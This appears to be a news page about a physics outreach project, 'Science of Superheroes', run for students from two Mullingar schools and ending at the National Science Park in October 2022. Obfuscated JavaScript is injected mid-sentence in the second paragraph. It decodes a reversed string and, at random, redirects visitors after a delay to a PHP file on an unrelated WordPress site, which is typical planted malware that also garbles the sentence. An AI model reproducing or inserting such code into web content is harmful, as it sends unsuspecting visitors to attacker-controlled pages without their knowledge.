The National Science Park Oct 2022 - Institute of Physics Science of Superheros Event

Exploring Physics with Superheroes in Westmeath!

Institute of Physics - Science of Superhero Event Oct 2022 - Dr Craig Slattery National Science Park MullingarLast week was the culmination of an exciting and engaging science outreach project in Mullingar with Midlands Science. The Science of Superheroes was a project managed by Midlands Science and delivered by physicist Dr Barry Fitzgerald, supported by the Institute of Physics. Students from Colaiste Mhuire and Loreto College Mullingar worked over the past few weeks with Dr Fitzgerald to understand more about the wonderful and sometimes weird world of physics through the world of superheroes and the kind of powers they have.

Exploring the Physics of Superheroes was a new Midlands Science outreach project which allowed students to experience the excitement of superheroes whilst learning all about the physics that make such stories possible. The project was supported by the Institute of Physics, a society and professional body that works to advance physics education, research and application. The Institute of Physics Limit Less campaign aims to support young people to change the world by $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing physics.

Fiona Longmuir of the Institute of Physics commented “The  Institute of Physics were delighted to support Exploring the Physics of Superheroes, sparking young people’s curiosity and creativity by showing the real-world physics that inspired their favourite superheroes.”

The project brought together a range of well-known characters from the Marvel Universe and other pop culture references, exploring and explaining the amazing physics behind their superpowers. Outreach such as this is a vital way of exploring what science and physics can bring to our lives in the future, it’s often things we thought a short while ago were the stuff of movies and science fiction.  Research and evaluation on the project has shown that participants positive attitudes towards physics increased by 24% over the course of the project.

Students from Coláiste Mhuire and Loreto College Mullingar outside Irish Manufacturing Research (IMR) Oct 2022 - Institute of Physics Science of Superheros EventThe project was piloted in two schools in Mullingar and involved groups of students working together to develop their physics and team-work skills. It culminated in an event in the National Science Park last week, where students shared what they have learned and where they hope physics will take them next. Students had honed not just their knowledge of physics but also their science communications skills and spoke about everything from quantum physics and sustainability to the use of radiation in cancer treatment. The event MC was Dr Craig Slattery of UCD’s Conway Institute and Chairperson of Midlands Science.  Midlands Science would like to acknowledge the support and encouragement shown locally to this project through the National Science Park who provided a great location for the event last week and also tours provided to students by Irish Manufacturing Research, showing the students where science might take them next. More information about studies and careers in physics can be found on


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